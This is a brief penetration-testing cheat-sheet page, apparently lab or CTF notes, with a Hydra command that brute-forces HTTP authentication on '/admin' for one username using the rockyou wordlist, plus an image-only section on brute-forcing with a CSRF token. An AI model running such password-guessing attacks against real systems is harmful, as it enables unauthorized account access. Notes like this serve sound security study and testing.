# bruteforce

**Hydra**\ <br>

```
// brute force with Hydra

sudo hydra -l rupert -P /usr/share/wordlists/rockyou.txt 10.102.8.222 -s 12345 http-get "/admin"

```

Brute with CSRF token\
\
![](https://410895813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MlKjYaxo0rpR2Jsapi3%2Fuploads%2FZ0HDQ1t2oFTbmKWm6lCK%2Fimage.png?alt=media\&token=8dbdb357-1492-401f-960c-507623200d68)